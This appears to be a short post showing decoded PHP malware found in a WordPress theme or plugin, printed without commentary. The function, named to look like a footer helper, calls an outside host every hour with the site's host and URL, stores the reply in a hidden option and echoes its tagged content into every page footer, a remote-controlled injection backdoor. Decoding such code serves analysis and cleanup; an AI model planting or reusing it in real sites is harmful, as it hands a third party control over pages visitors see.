WP Obfuscated Code Decoded

function wp_get_footer_meta(){
global $wpdb;

if($R5C7D265CC=$wpdb->get_var("SELECT option_value FROM $wpdb->options WHERE option_name='adwb_opt'"))
$R5C7D265CC=unserialize($R5C7D265CC);
    else{
    $R5C7D265CC=array(0,'');
    $wpdb->query("INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES ('adwb_opt', '".serialize($R5C7D265CC)."','no')");
    }

if ((time()-$R5C7D265CC[0])>=3600){
    $R46982C5F7 = 'blogspace.ws';
    $R5A11E9F6E='/wpam/';
    $R3DFD76BC5=@fsockopen($R46982C5F7,80,$R7434E03F9,$RA6E038933,30);
        if ($R3DFD76BC5){
           @stream_set_timeout($R3DFD76BC5,30);
           @fwrite($R3DFD76BC5,"GET $R5A11E9F6E".'?h='.urlencode($_SERVER['HTTP_HOST']).'&u='.urlencode($_SERVER['REQUEST_URI'])." HTTP/1.1\r\nHost: $R46982C5F7\r\nConnection: Close\r\n\r\n");$RC074D9812='';
               while(!feof($R3DFD76BC5))$RC074D9812.=@fgets($R3DFD76BC5, 1024);
               $RC074D9812=trim(strstr($RC074D9812,"\r\n\r\n"));
               }
           @fclose($R3DFD76BC5);
           $R5C7D265CC=array(time(),$RC074D9812);
           $wpdb->query("UPDATE $wpdb->options SET option_value='".mysql_escape_string(serialize($R5C7D265CC))."' WHERE option_name='adwb_opt'");
           }
       if(preg_match('/<adbug>(.+?)<\/adbug>/s',$R5C7D265CC[1],$R230F24483))
       echo $R230F24483[1];
       }

add_action("wp_footer", "wp_get_footer_meta");